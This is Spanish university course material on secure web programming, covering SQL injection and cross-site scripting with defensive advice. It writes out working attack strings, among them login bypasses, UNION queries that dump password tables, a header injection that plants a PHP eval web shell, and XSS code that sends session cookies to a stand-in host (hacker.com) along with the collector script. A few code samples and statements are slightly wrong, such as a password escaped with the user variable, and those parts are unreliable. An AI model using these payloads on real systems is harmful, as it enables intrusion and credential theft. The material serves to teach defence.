Programación segura de aplicaciones web

José María Palazón Romero

PID_00158710

UOC
Universitat Oberta de Catalunya
www.uoc.edu

Índice

Introducción

Coincidiendo con la publicación de este texto, OWASP acaba de publicar el primer candidato para revisión de su lista de vulnerabilidades web más comunes para el 2010. La última versión de esta lista es del 2007 y es una referencia en la industria de la seguridad web. En los distintos apartados a lo largo de este texto, vamos a cubrir todas estas vulnerabilidades más frecuentes y algunas más, y esta introducción es el lugar perfecto para cubrir uno de los aspectos más importantes que deben estar en la mente de todo profesional de la seguridad: la seguridad es un proceso vivo, siempre cambiante, y para desgracia de nuestro tiempo libre no es una profesión en la que uno puede formarse y vivir de esto para siempre. Avanza tan rápido que necesita una constante dedicación a la autoformación.

OWASP es posiblemente la primera referencia en lo que respecta a seguridad en aplicaciones web. Se trata de un proyecto *open source* con colaboradores de decenas de países distintos, expertos reconocidos en seguridad web, y compuesto de subproyectos entre los que cabe destacar los siguientes: la famosa guía OWASP, donde se describen virtualmente todos los fallos potenciales que es posible cometer al diseñar o programar una aplicación web; otras guías, como la de *testing*, muy utilizada en auditorías de seguridad; y varias aplicaciones, como WebScarab, un *proxy* con el que interceptar, analizar y modificar el trafico web, o WebGoat, una aplicación didáctica programada con decenas de fallos de seguridad cuyo objetivo es aprender descubriendo estos fallos gracias a los textos y las pistas que aporta.

Veamos cómo ha cambiado el asunto en tan sólo dos años, teniendo en cuenta únicamente el top 10 de las vulnerabilidades de seguridad consideradas entonces y ahora:

OWASP top 10 2007	OWASP top 10 2010(rc1)
1 *Cross Site Scripting* (XSS)	**1** Inyecciones
2 Inyecciones	**2** *Cross Site Scripting* (XSS)
3 Ejecución de ficheros maliciosos	**3** Fallos en autenticación y gestión de sesiones
4 Referencias directas a objetos inseguros	**4** Referencias directas a objetos inseguros
5 *Cross Site Request Forgery* (CSRF)	**5** *Cross Site Request Forgery* (CSRF)
6 Fugas de información y errores manejados incorrectamente	**6** Configuración de seguridad incorrecta
7 Fallos en autenticación y gestión de sesiones	**7** Restricciones incorrectas al acceso a URL
8 Almacenamiento criptográfico inseguro	**8** Redirecciones y reenvíos no validados

OWASP top 10 2007	OWASP top 10 2010(rc1)
9 Comunicaciones inseguras	**9** Almacenamiento criptográfico inseguro
10 Restricciones incorrectas al acceso a URL	**10** Protección insuficiente en la capa de transporte

Como se puede ver en las listas, cambia la prioridad de muchos de los elementos y desaparecen otros (sólo de la lista de los diez más frecuentes, pero siguen siendo muy frecuentes) como la ejecución de ficheros maliciosos o el manejo incorrecto de errores, mientras que aparecen algunos nuevos como las configuraciones incorrectas o el reenvío y la redirección no validados.

1. *SQL Injection*. Inyecciones en bases de datos

Si las inyecciones ocupan el primer lugar en la lista de vulnerabilidades web es por una combinación de su impacto y su facilidad de explotación. No se necesita conocimiento en absoluto de tecnología o seguridad para aprovechar uno de estos fallos, ni siquiera se necesitan herramientas especiales, ya que una simple cadena de menos de diez caracteres en un navegador puede explotar este tipo de vulnerabilidad. El impacto depende de dónde se encuentre la vulnerabilidad y a qué tipo de datos dé acceso, y dado que se suele dar en formularios de autenticación y normalmente el acceso es total a todos los datos de la aplicación en la base de datos, se considera un impacto muy grave.

La base de una inyección SQL es la siguiente: cuando la aplicación se conecta a la base de datos para ejecutar una consulta, normalmente esta consulta es construida de manera dinámica, utilizando para esto información que proviene de la interacción con el usuario.

Con la intención de buscar un buen ejemplo para ilustrar en qué consiste esta vulnerabilidad, hemos pensado que si buscamos en Google "PHP MySQL tutorial", en los primeros resultados vamos a encontrar cómo aprende la mayoría de la gente a programar aplicaciones web, ya que PHP y MySQL son las dos tecnologías web más extendidas como lenguaje de *scripting* en el servidor y motor de base de datos, respectivamente. El primer tutorial que encontramos nos enseña a llevar a cabo una consulta a la base de datos de la manera siguiente (simplificado por claridad).

Supongamos un formulario como este para programar un buscador sobre nuestros datos:

```
<html>
<body>
<form method="POST" action="http://sevidor/buscador.php">
<strong>Palabra clave:</strong> <input type=" "text" name="T1">
<input type="submit" value="Buscar" name="buscar">
</form>
</body>
</html>
```

Y este es el código que corre en el servidor, recibe el formulario anterior y ejecuta la consulta a la base de datos:

```
$link = mysql_connect("localhost", "nobody");
mysql_select_db("mydb", $link);
$result = mysql_query("SELECT * FROM agenda WHERE nombre LIKE '%$buscar%'
```

```
ORDER BY nombre", $link);
if ($row = mysql_fetch_array($result)){
```

Donde `$buscar` es una variable global equivalente a `$_POST['buscar']`, que es el parámetro introducido por el usuario que viene del formulario.

El error está en cómo se construye la sentencia SQL:

```
"SELECT * FROM agenda WHERE nombre LIKE '%$buscar%' ORDER BY nombre"
```

Las comillas dobles (") en los dos extremos son utilizadas en este código fuente para indicar a PHP que se trata de una cadena de texto en la que debe sustituir las variables (como "$buscar") por su valor correspondiente.

Las comillas simples (') que encierran a "%$buscar%" son utilizadas para indicar a MySQL que esto es una cadena de texto.

Supongamos que el usuario estuviera buscando la palabra "José". La consulta quedaría así:

```
SELECT * FROM agenda WHERE nombre LIKE '%jose%' ORDER BY nombre
```

Veamos qué pasaría si el nombre que quiero buscar en la agenda es "O'connor". La consulta quedaría así:

```
SELECT * FROM agenda WHERE nombre LIKE '%O'connor%' ORDER BY nombre
```

Lo cual resulta en un problema de sintaxis SQL, una consulta incorrecta que devolverá un error. Ya veremos en un apartado posterior cómo la gestión de este tipo de errores también constituye un grave problema de seguridad, pero ahora centrémonos en la inyección. Sabiendo que la entrada se va a insertar directamente en la consulta a la base de datos y que podemos modificar la sintaxis de esta, podemos modificar la consulta para que devuelva cualquier información de la base de datos. Después volveremos al ejemplo de la agenda, pero para que no quede ninguna duda de la peligrosidad de la inyección, vamos a utilizar el ejemplo más obvio de por qué esto representa un problema de seguridad. Supongamos un formulario que nos pide un usuario y una contraseña para acceder a nuestra aplicación. La consulta SQL que verifica si los datos son ciertos podría ser algo como lo siguiente:

```
SELECT count(user) FROM usuarios WHERE user='$user' AND password='$password';
```

Una entrada normal, como por ejemplo "admin" en el campo "user" y "secreto" en el campo "password", produciría la consulta:

```
SELECT count(user) FROM usuarios WHERE user='admin' AND password='secreto';
```

De este modo, si existe un registro en la tabla "usuarios" con esos valores para los campos "user" y "password", la consulta anterior devolverá "1", y la aplicación PHP lo comprobará para dejar o no entrar al usuario. Sin embargo, dado que sabemos que podemos modificar la sintaxis SQL con la entrada del usuario, veamos cómo queda la consulta si en el campo "user" introducimos la cadena "admin';#" y dejamos vacío el campo "password":

```
SELECT count(user) FROM usuarios WHERE user='admin';#' AND password='';
```

Con la comilla simple cerramos la cadena de texto para MySQL, de modo que lo que introducimos después es sintaxis SQL. El carácter "#" en MySQL es un comentario de línea, de manera que todo lo que venga a continuación no se procesa. Así pues, lo que el motor de base de datos va a ejecutar es:

```
SELECT count(user) FROM usuarios WHERE user='admin';
```

Con lo que, sin necesidad de conocer la contraseña del usuario "admin", el atacante ha conseguido suplantar su identidad en la aplicación modificando la lógica de esta mediante la inyección de SQL personalizado en la base de datos.

Por supuesto, esto no es exclusivo de PHP y MySQL. El equivalente en ASP con SQL Server sería el siguiente:

```
var user;
var password;

user = Request.form("user");
password = Request.form("password");

var sql = "SELECT count(user) FROM usuarios WHERE user = '" + user + "' and
password = '" + password + "'";
```

Vemos cómo igualmente la entrada del usuario pasa de manera directa a la consulta SQL, donde se indica que los campos deben ser interpretados como cadenas de texto mediante las comillas simples. Para escribir comentarios de línea en SQL Server, se utiliza el doble guión, "--", con lo que si introducimos como "user" la cadena "admin';--" y dejamos la contraseña vacía, conseguimos el mismo resultado que antes:

```
SELECT count(user) FROM usuarios WHERE user = 'admin';--' and password = ''
```

que resulta en:

```
SELECT count(user) FROM usuarios WHERE user = 'admin';
```

Supongamos que ni siquiera conocemos que existe un usuario "admin" en la base de datos. Aun así, podríamos obtener acceso como el primer usuario que apareciera en la tabla introduciendo en el campo "user" del formulario la cadena "' OR 1=1--", que resultaría en la siguiente consulta SQL:

```
SELECT count(user) FROM usuarios WHERE user = '' OR 1=1--' and password = ''
```

Así pues, se permite de nuevo al atacante acceder a la aplicación. De esta manera, incluso, se puede conseguir un listado completo de todos los usuarios. Si la consulta anterior permitió al atacante suplantar la identidad del primer usuario de la base de datos, por ejemplo "abel", la entrada "user" como `' OR 1=1 AND user>'abel'–'` permitiría acceder como el segundo usuario:

```
SELECT count(user) FROM usuarios WHERE user = '' OR 1=1 AND user>'abel'--'
and password = ''
```

Y así sucesivamente.

Es importante notar que las comillas simples y las dobles son intercambiables. Aunque los ejemplos anteriores son los más comunes, no es difícil encontrar un código que lo haga al revés:

```
var sql = 'SELECT count(user) FROM usuarios WHERE user = "' + user + '" and
password = "' + password + '"';
```

De este modo, las inyecciones se producirían utilizando las comillas dobles (") para alterar la sintaxis SQL en lugar de las simples.

```
var sql = 'SELECT count(user) FROM usuarios WHERE user = "admin"--" and
password = "' + password + '"';
```

1.1. Extracción de datos en la BD

Los ejemplos anteriores muestran cómo aprovechar una vulnerabilidad en un formulario de autenticación para suplantar la identidad de un usuario, pero esto no es todo lo que se puede hacer con *SQL Injection*. De hecho, los vectores de explotación y técnicas dan para muchos libros centrados únicamente en esta práctica, e incluso hoy día, once años después de que se diera a conocer, en las más prestigiosas conferencias de seguridad del mundo se siguen presentando nuevas ideas, herramientas y técnicas. Vamos a ver cómo prácticamente cualquier parte de nuestra aplicación que reciba datos del usuario y construya una consulta SQL basada en los mismos puede ser vulnerable y, de paso, veremos qué cosas distintas podemos hacer.

Supongamos un sistema de artículos vía web en el que una de las páginas nos da la lista de artículos pertenecientes a cierta sección. La URL podría ser algo parecido a:

```
http://sevidor/listaArticulos.php?seccion=deportes
```

Y podría acabar en una consulta como:

```
SELECT titulo, fecha FROM articulos WHERE seccion='$seccion'
```

Lo cual devolvería un listado de todos los artículos de la sección de deportes, y la aplicación iteraría por el *recordset* devuelto por la base de datos y presentaría estos artículos por pantalla.

Por supuesto, podemos modificar la URL en el navegador. Por ejemplo:

```
http://sevidor/listaArticulos.php?seccion=' UNION SELECT user,password from usuarios#
```

Y esto resulta en la consulta:

```
SELECT id,titulo,fecha FROM articulos WHERE seccion='' UNION
SELECT user,password,1 from usuarios#'
```

Con lo cual, en lugar de iterar y presentar los artículos de deportes, lo que la aplicación está mostrando son los usuarios y las contraseñas almacenados en la base de datos. La inyección utilizada en este caso concatena ("UNION") las dos consultas "SELECT". La primera de estas no devuelve nada, ya que hemos dejado "seccion" vacío, así que obtenemos la segunda, los usuarios. La restricción aquí es que el número de campos de las consultas a los dos lados de "UNION" debe ser el mismo, de ahí "1" en la consulta anterior para que haya tres campos, igual que en la consulta original. También hay restricciones de tipos de datos que deben coincidir, pero no merece la pena entrar en este detalle, sino sólo saber que todos los obstáculos son salvables para el atacante con ligeras modificaciones de su inyección.

1.2. Modificación de datos en la base de datos

Con *SQL Injection* podemos modificar las consultas de la aplicación tanto como el motor de base de datos nos permita. De esta manera, por ejemplo, en una aplicación como la del ejemplo anterior podríamos crear nuestro propio usuario con una petición como esta:

```
http://sevidor/listaArticulos.php?seccion='';
INSERT INTO usuarios (user,password) VALUES('jose','secreto');#
```

Y esto resultaría en la consulta:

```
SELECT id,titulo,fecha FROM articulos WHERE seccion='';
INSERT INTO usuarios (user,password) VALUES('jose','secreto');#
```

Por claridad, hemos utilizado el ejemplo en PHP anterior. Sin embargo, si bien este tipo de concatenaciones son perfectamente comunes con otros lenguajes, PHP obliga, precisamente para evitar esto, a usar una función especial para hacer consultas múltiples a MySQL.

1.3. Ejecución de comandos en el servidor

Hasta ahora, las consultas SQL que hemos analizado utilizan directamente datos proporcionados "obviamente" por el usuario, es decir, o bien datos que el usuario ha introducido en un formulario, o parámetros fácilmente manipulables en la URL. Sin embargo, el campo de ataque se extiende a absolutamente todo lo que el usuario haya podido manipular. Veamos un ejemplo real: la aplicación Docebo version 3.5.0.3 consulta la cabecera HTTP Accept-Language para presentar al usuario los contenidos en distintos idiomas.

En una petición estándar, el navegador envía una serie de cabeceras entre las cuales está Accept-Language, y cuyo formato es parecido a este:

```
Accept-Language: en-us,en;q=0.5
```

La aplicación utiliza el parámetro en una consulta de esta manera (simplificada por claridad):

```
"SELECT region_id FROM tabla WHERE browsercode LIKE
'%".$$_SERVER["HTTP_ACCEPT_LANGUAGE"]."%'";
```

Hay varias formas de modificar las cabeceras HTTP. Con lenguajes de *script* como Perl, es muy sencillo escribir un pequeño programa de unas pocas líneas que emula la misma petición que haría el navegador, y en este programa podemos construir las cabeceras HTTP a nuestro gusto. Sin embargo, ni siquiera es necesario saber programar: con un *proxy* que nos permita alterar la petición al vuelo, como webScarab, o una extensión para el navegador como TamperData para Firefox, modificar esta información es trivial. Veamos cómo podemos aprovechar el fallo en la consulta anterior modificando esta cabecera:

```
Accept-Language: %' AND 1=0 UNION SELECT '<? eval($_GET["command"]); ?>' INTO
DUMPFILE 'eval.php';
```

Con lo que la consulta de la aplicación queda así:

```
"SELECT region_id FROM tabla WHERE browsercode LIKE '%".%' AND 1=0 UNION
SELECT '<? eval($_GET["command"]); ?>' INTO DUMPFILE 'eval.php'."%'";
```

En la consulta resultante, "AND 1=0" es una condición que siempre es evaluada a falso, y por lo tanto la primera parte de "UNION" no devolverá ningún resultado. La segunda parte de "UNION" es una consulta SQL que crea un fichero "eval.php" con la cadena "<? eval($_GET["command"]); ?>". Esto quiere decir que después de haber enviado la petición con la cabecera modificada, este fichero estará en el servidor y podremos acceder al mismo, por ejemplo de la manera siguiente:

```
http://servidor/eval.php?command=passthru('ls');
```

Lo cual ejecutará el comando "ls" en el servidor.

El ejemplo anterior sirve para resaltar dos aspectos muy importantes. El primero es que algo que *a priori* no parece controlado por el usuario, como las cabeceras HTTP, son entradas de ataque perfectamente válidas para ataques de inyección SQL. El segundo es que, a pesar de tratarse de una inyección SQL que hemos ejecutado en el motor de base de datos, el impacto sobrepasa el mero acceso o la modificación de datos en la base de datos, ya que, como hemos visto, podemos ejecutar código PHP a nuestro antojo.

Es importante resaltar que para que esta vulnerabilidad sea explotable de esta manera, deben confluir varios factores: el código de la aplicación es vulnerable a *SQL Injection*, la configuración del servidor permite al usuario con el que se ejecuta MySQL escribir ficheros en la raíz de documentos web y el usuario con el que la aplicación se conecta a la base de datos permite la manipulación de ficheros. Todo esto forma parte del ya mencionado concepto de defensa en profundidad, por el que si al menos una de las tres cosas no hubiera sido posible, pese a haber otras dos vulnerabilidades, no se conseguiría la explotación. Volveremos sobre esto más tarde.

1.3.1. Protegiendo las comillas

Parece que el carácter que está causando todos estos problemas es la comilla simple ('), ya que es capaz de romper la cadena donde el parámetro está siendo insertado y permite la modificación de la sentencia SQL fuera de la cadena, con lo que cabe pensar que el filtrado de esta comilla en la entrada del usuario podría ser una solución. Así pues, nuestra consulta:

```
$query="SELECT count(user) FROM usuarios WHERE user='$user' AND password='$password';"
```

quedaría protegida si previamente aplicamos un filtro a las variables $user y $password:

```
$query="SELECT count(user) FROM usuarios WHERE user='" .
mysql_real_escape_string($user) . "' AND password='" .
mysql_real_escape_string($user) . "';"
```

Un intento de *SQL Injection* como el anterior, donde "$pass = ' or 1=1#", resultaría en la cadena:

```
SELECT count(user) FROM usuarios WHERE user='admin' AND password='\' or 1=1#';"
```

Encontramos varias funciones en todos los lenguajes que proporcionan este tipo de filtros, y son específicas del motor de base de datos al que se estén conectando. Es recomendable utilizar estas funciones, pero a veces el lenguaje no provee de un conjunto de funciones de filtrado específicas para un motor en concreto. En este caso, debemos recurrir a funciones genéricas que hagan lo mismo.

Por ejemplo, en PHP, "addslashes" equivale a "mysql_real_escape_string", y protege los caracteres que pueden ser peligrosos en una consulta a base de datos, que son las comillas simples ('), las comillas dobles ("), las barras invertidas (\) y los *bytes* nulos.

PHP, además, tiene una directiva de configuración llamada "magic_quotes_gpc" que ya aplica este filtrado automáticamente a todos los parámetros que vengan por "GET", "POST" o en *cookies*.

Estas funciones presentan un par de problemas. De entrada, la forma en que actúan las funciones de filtrado para protección de caracteres como las comillas o las barras invertidas es la opuesta a la situación ideal. **La regla de oro** para el filtrado es siempre aplicar lo que conocemos como *whitelists* ('listas blancas'), cuya política por defecto es bloquearlo todo excepto lo que explícitamente se permite en la lista, pues se sabe que no es peligroso. Las funciones mencionadas anteriormente funcionan con *blacklists* ('listas negras'), que lo dejan pasar todo excepto un conjunto de caracteres que se sabe que pueden causar problemas.

No obstante, a veces no queda más remedio que utilizar este enfoque, ya que mantener listas de lo permitido es inviable.

El otro gran problema que presentan es la confusión que supone el filtrado y la eliminación del filtro, que mezclan la protección por seguridad con la propia funcionalidad de la web y las posibles múltiples codificaciones.

Supongamos el caso legítimo de un usuario cuyo identificador es O'Brian, con un apóstrofe, algo perfectamente común en muchos lenguajes. Sin el filtrado apropiado, la consulta a la base de datos quedaría de manera parecida a la siguiente:

```
WHERE user='O'Brian' AND ...
```

que resulta en un SQL incorrecto que generará un error. Para esto, salvamos la comilla con una función como "mysql_real_escape_string" o "addslashes", lo que da como resultado:

```
WHERE user='O\'Brian' AND ...
```

Claro que si la directiva "magic_qoutes_gpc" está activa, y lo está por defecto, en realidad la cadena quedaría como:

```
WHERE user='O\\\'Brian' AND ...
```

que si bien es segura y no produce ningún error SQL, no funciona como se espera, ya que se está almacenando un nombre de usuario distinto en la base de datos que incluye la barra invertida.

Por supuesto, el código debe ser siempre independiente de la configuración del servidor, más aún en una aplicación web que puede vivir en distintos entornos con configuraciones diferentes, o cuyos valores pueden cambiar bien a discreción del administrador de sistemas, o porque cambien los valores por defecto al salir una nueva versión, o por muchas otras razones. De esta manera, en el caso de PHP se proporciona un método para comprobar si la directiva está activa o no y aplicar o no el filtrado programáticamente, según convenga:

```
if(magic_quotes_gpc != 'on') {
   $user = mysql_real_escape_string($user);
   $pass = mysql_real_escape_string($pass);
```

Lo cual empieza a ser confuso, pero lo es aún más si tenemos en cuenta que en algún momento queremos mostrar al usuario por pantalla lo que introdujo. En un sistema con "magic_quotes_gpc" habilitado, si imprimimos por pantalla sin filtrado alguno (lo cual es incorrecto, como veremos en el apartado sobre *Cross Site Scripting*), a nuestro usuario *O'Brian* le estaríamos mostrando *O\'Brian*, ya que el servidor está aplicando automáticamente este filtrado. Para corregir esto, antes de imprimir la salida eliminamos las barras invertidas con una función como "stripslashes", y el asunto no sólo se pone cada vez más confuso, sino que sin una buena arquitectura de datos en nuestra aplicación y sin restricciones de acceso –de manera que los desarrolladores no puedan acceder a los datos si no han sido propiamente filtrados en función de lo que quieran hacer en cada momento–, es muy posible que de manera involuntaria acabemos introduciendo una vulnerabilidad en nuestra aplicación (por ejemplo, pasando a la base de datos un parámetro al que le han sido eliminadas las barras invertidas o algo similar).

1.3.2. Parámetros numéricos

Sin embargo, las vulnerabilidades de *SQL Injection* no se limitan sólo a la ruptura de cadenas SQL mediante el uso de comillas. De hecho, la mayoría de las configuraciones por defecto aplican algún tipo de filtro para proporcionar esta funcionalidad básica, y aun así *SQL Injection* sigue siendo la vulnerabilidad más frecuente y peligrosa.

Realmente, de lo que se trata es de inyectar SQL para modificar la sentencia a gusto del atacante, y para esto no siempre son necesarias las comillas, porque no todos los parámetros van entre comillas. Supongamos una aplicación que nos imprime los detalles de un artículo, como su título, fecha, descripción, autor, etc. a partir de su clave primaria en la base de datos, un identificador numérico. La URL podría ser algo similar a:

```
http://www.servidor.com/articulos/ver_articulo.php?id=3
```

que podría dar como resultado una consulta SQL como:

```
$query = "SELECT titulo, texto, autor FROM articulos WHERE id_articulo=" . $id;
```

No hay comillas simples y, por tanto, no hay inyección de SQL, ¿verdad? Nada más lejos de la realidad. Analicemos la petición siguiente:

```
http://www.servidor.com/articulos/ver_articulo.php?id=3 and 1=0 UNION SELECT user,password,1
FROM usuarios LIMIT 0,1#
```

Si vemos cómo quedaría esto en la consulta SQL:

```
$query = "SELECT titulo, texto, autor FROM articulos WHERE id_articulo=3 and 1=0 UNION
SELECT user,password,1 FROM usuarios LIMIT 0,1#;
```

"UNION" va a concatenar los resultados de las dos consultas "SELECT", y "and 1=0" es una condición que siempre va a ser evaluada a falso. Por lo tanto, el primer "SELECT" no devolverá resultados y el segundo devolverá el primer usuario de la tabla de usuarios. El "1" en la lista de campos es para igualar el número de columnas en los dos lados de la unión.

Cualquier intento de filtrado basado en listas blancas tiene todas las posibilidades de acabar en fracaso. Si vemos una consulta como la anterior, podríamos pensar que filtrando los espacios en blanco impedimos al atacante crear sentencias SQL. Sin embargo, un espacio en blanco puede sustituirse por un comentario en línea como /**/, de modo que la consulta quedaría:

```
http://www.servidor.com/articulos/ver_articulo.php?id=3/**/and/**/1=0/**/UNION/**/SELECT/**/
user,password,1/**/FROM/**/usuarios/**/LIMIT 0,1#
```

La solución correcta es la parametrización de los datos variables en la consulta SQL. En este caso, dos alternativas a la construcción de la consulta podrían ser:

```
settype($id, 'integer');
$query = "SELECT titulo, texto, autor FROM articulos WHERE id_articulo=" . $id;
```

o:

```
$query = sprintf("SELECT titulo, texto, autor FROM articulos WHERE id_articulo=%d", $id);
```

Con lo que se fuerza a que el parámetro sea de tipo entero, que es lo que la base de datos espera para este campo.

Es importante remarcar que este tipo de parametrización no es válido para cadenas sin el filtrado adecuado. Utilizar el especificador de formato "%s" para pasar como parámetro una cadena es tan inútil como concatenar la cadena si no se aplica el filtrado.

Las posibilidades de *SQL Injection* son infinitas, e incluso hoy, tantos años después de que se publicara esta técnica, salen nuevas formas de explotación. Sin embargo, absolutamente todos los ataques y las nuevas técnicas que se han presentado en los últimos años son formas de llegar más profundo o hacer más daño, y todas quedan anuladas con un simple filtrado. Una aplicación programada hace diez años con un filtrado correcto de los parámetros de entrada sería invulnerable a *SQL Injection* y a todas sus modificaciones presentadas en los últimos y más avanzados artículos.

2. *Cross Site Scripting* (XSS)

Normalmente, las vulnerabilidades tienen nombres descriptivos que indican en qué consisten, y en su momento así era también para *Cross Site Scripting*. Sin embargo, la innumerable cantidad de cosas que un atacante puede llevar a cabo explotando esta técnica ha hecho que hoy día los ataques de este tipo no siempre estén relacionados con actividades cruzadas entre sitios en distintos dominios. Por el contrario, estos ataques han quedado para todas aquellas vulnerabilidades en las que, de un modo u otro, el atacante puede modificar el código que el navegador de un usuario interpreta, ya sea markup HTML, código Javascript o relacionado con algún *plug-in* o *applet*.

Hay dos tipos de de vulnerabilidades XSS: permanentes y no permanentes. En las permanentes, el atacante consigue comprometer el sitio web de manera que el usuario, sólo con visitarlo normalmente, ya es víctima del ataque XSS. En las no permanentes, el usuario tiene que visitar el sitio a partir de un enlace especialmente modificado, ya sea en otra página web, un correo electrónico, una redirección, etc., de manera que en la propia URL se encuentran los parámetros del ataque.

Veamos con un ejemplo en qué consiste. Supongamos un sitio web que mantiene un libro de visitas donde los usuarios pueden dejar comentarios. Esta es una estructura simplificada de una gran cantidad de aplicaciones web que reproducen una actividad similar, como foros de debate, sitios de noticias, blogs que permiten comentarios, etc.

En nuestro libro de visitas, el usuario introducirá su nombre, o una frase simple como "José estuvo aquí". Sin embargo, bien podría enriquecer su mensaje, por ejemplo enfatizando su nombre en negrita como "José estuvo aquí". Dado que la aplicación permite la inserción de etiquetas HTML, un usuario un poco más molesto podría intentar algo como "<script>alert('José estuvo aquí');</script>", lo que resultaría en un diálogo de alerta. Llevando esto al extremo, una entrada como esta:

```
<div style="position:absolute;top:0px;left:0px;width:100%;height:100%;></div>
```

proporciona un lienzo en blanco al atacante, una capa situada en la esquina superior izquierda que ocupa todo el ancho y alto de la pantalla, donde puede introducir su propio código HTML y sustituir por completo la página original.

Puesto que estas entradas quedarán almacenadas en algún tipo de base de datos o sistema de almacenamiento en ficheros, cualquier nuevo usuario que llegue a la página verá que al leer los contenidos de la base de datos o los ficheros, la página muestra lo que el atacante haya introducido anteriormente. Un ataque como el que hemos visto se conoce como *defacement*.

Recopilación de ataques

Existen sitios como zone-h que recopilan los ataques que ocurren de este tipo, y son, literalmente, cientos al día. Esta web tiene una clasificación particular para sitios especiales como grandes marcas o sitios gubernamentales, y sólo en esta categoría hay también cientos de *Cross Site Scripting* al día. Se trata, sin duda, de la vulnerabilidad más explotada por su facilidad.

Lo anterior es un ejemplo de *Cross Site Scripting* permanente. Un ejemplo típico de *Cross Site Scripting* no permanente es un buscador sobre los contenidos de un sitio web, donde el usuario introduce un término de búsqueda y accede a un listado de resultados que normalmente viene encabezado por una expresión parecida a "Se encontraron X resultados para la búsqueda 'termino de búsqueda'".

En esta ocasión, el término de búsqueda no queda grabado en ninguna base de datos u otro sistema de almacenamiento permanente, sino que es recibido por el servidor y devuelto para ser impreso por pantalla junto con los resultados, y por lo tanto sólo tiene sentido para el usuario actual. Estos ataques se explotan haciendo que el usuario visite un enlace con la forma siguiente:

```
http://www.servidor.com/buscar.php?termino=<script>alert('XSS')</script>
```

Lo cual se puede conseguir mediante un correo electrónico, un enlace situado en una página que el usuario visite, un XSS permanente, una redirección, etc.

Los usuarios más pendientes de esto observarán con atención un enlace antes de seguirlo. Sin embargo, como se verá en apartados posteriores, encontramos otras varias vulnerabilidades que pueden combinarse para explotar un ataque de XSS ocultando de manera casi indetectable el verdadero destino de un enlace.

El impacto del *Cross Site Scripting* va mucho más allá de unos molestos mensajes de alerta o el cambio de los contenidos de una web (lo cual de por sí ya es bastante grave para sitios gubernamentales u otras organizaciones o empresas cuya imagen puede quedar muy dañada). Posiblemente, el riesgo más grave que exponen las vulnerabilidades de *Cross Site Scripting* es el robo de credenciales.

En nuestra aplicación, un usuario está autenticado correctamente con sus credenciales y navega por la misma gracias a un *token* identificador de sesión que intercambia en forma de *cookie*. Si esta aplicación es vulnerable a *Cross Site Scripting*, el atacante tendrá acceso al código que este usuario va a ejecutar en su navegador, y esto implica acceso a las *cookies*, que puede enviar desde el navegador del usuario a un tercer sitio donde almacenarlas para después usarlas. El atacante podría tener un *script* alojado en http://www.hacker.com, como el siguiente:

```
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a');
fwrite($fp, 'Cookie: '.$cookie . "\n");
```

```
fclose($fp);
?>
```

que almacena en el fichero "cookies.txt" lo que reciba en el parámetro "c".

El código inyectado en la aplicación vulnerable podría ser algo como:

```
<script>document.location.replace('http://www.hacker.com/cookie.php?c='+
document.cookie)</script>
```

Lo cual redirigiría al usuario a esta página, donde el atacante robaría las *cookies*. Por supuesto que no todo tiene que ser tan explícito, y el ataque puede llevarse a cabo igualmente de manera casi transparente con un código inyectado como:

```
<script type="text/javascript" language="javascript">document.write("<img width=0
height=0 src=\"http://www.hacker.com/cookie.php?c=" + document.cookie + "\"/>");
</script>
```

Una vez el usuario ha caído en la trampa, el atacante irá al fichero "cookies.txt", introducirá la *cookie* en su navegador (lo cual de nuevo es realmente posible hoy día gracias a algunas extensiones) y la próxima vez que visite la web lo hará como el usuario víctima de su ataque.

Si bien las posibilidades son infinitas, esto cubre las bases de los ataques *Cross Site Scripting*. Ahora bien, ¿cómo se programa una aplicación segura ante este tipo de ataques?

Según lo que hemos visto hasta ahora, la respuesta parece estar una vez más en un correcto filtrado de los parámetros de entrada. Nuestros caracteres protagonistas parecen "<" y ">", que permiten la inclusión de nuevas etiquetas HTML, incluyendo "<script>". De este modo, filtrar los contenidos del usuario antes de imprimirlos por pantalla con una función que cambie el símbolo "<" por su entidad HTML "<", y el símbolo ">" por su entidad ">", parece suficiente. En determinadas circunstancias es así, pero resulta muy común que parte de los requisitos de la aplicación sea permitir ciertos elementos HTML. Los problemas de implementación vienen casi siempre cuando el programador intenta crear sus propios sistemas de filtrado.

Hay programadores que implementan filtros para evitar las etiquetas "<script>", ajenos al hecho de que igualmente puede ejecutarse código con algo como "javascript:...." en un atributo de un elemento HTML. Filtramos, pues, también la cadena "javascript:", y entonces nos encontramos con otro punto de entrada a la ejecución de código como:

```
<img src="ruta_a_la_imagen" onload="codigo javascript"/>
```

Y podemos seguir intentando filtrar cadenas como "onload", "onmouseover", etc. e igualmente seguiríamos proporcionando ataques alternativos, y es que de por sí este diseño es incorrecto. Nunca se debe filtrar a partir de los elementos cuya peligrosidad conocemos: por una parte, no solemos conocerlos todos; por otra, presentan una gran cantidad de variantes; y más importante, pueden aparecer elementos y vectores de ataque nuevos, con lo que cualquier sistema de filtrado basado en listas negras está condenado a fracasar.

Cuando la aplicación lo permita, y esto es así en la mayoría de los casos, debe aplicarse un filtrado basado en listas blancas, esto es, denegar absolutamente todo excepto aquello que de manera explícita queremos permitir. De este modo, podemos por ejemplo proporcionar un editor de texto enriquecido que permita al usuario introducir texto en negrita, cursiva, enlaces, etc., siempre en una lista de elementos conocidos y programando un filtro que sólo deje pasar estos elementos. La programación de este filtro no es trivial, ya que estas etiquetas también pueden contener atributos maliciosos que ejecuten código. Por lo tanto, aplicamos de nuevo la regla de las listas blancas y eliminaremos de una etiqueta todos los atributos excepto aquellos que sabemos que no son maliciosos y que queremos permitir.

Sin embargo, no sólo en "<" y ">"esta el riesgo. Otro punto de entrada frecuente para los ataques de *Cross Site Scripting* son los atributos HTML sin entrecomillar. Por ejemplo:

```
<a href=www.enlace.com>Enlace</a>
```

Si "www.enlace.com" viene de una fuente que haya podido ser manipulada por el atacante, ya sea de manera permanente o no, fácilmente podría convertirse en:

```
<a href=www.enlace.com onload="código javascript">Enlace</a>
```

donde la entrada "www.enlace.com onload="código javascript"" no contiene ninguna etiqueta HTML ni ningún carácter "<" o ">", pero ha resultado igual de peligrosa. En todos estos casos se pueden reproducir los ataques anteriores, de *defacement* o robo de credenciales.

Los lenguajes de programación suelen proveer de librerías o funciones específicas para este tipo de filtrados. En PHP encontramos las funciones "htmlentities" y "htmlspecialchars", que filtran no sólo los "<" y ">" sino también las comillas simples y dobles y los *ampersands* (&), y básicamente convierten a entidades HTML todo lo susceptible de esta conversión. El problema, como decíamos antes, viene cuando queremos permitir ciertas etiquetas y no podemos aplicar un filtro genérico como este.

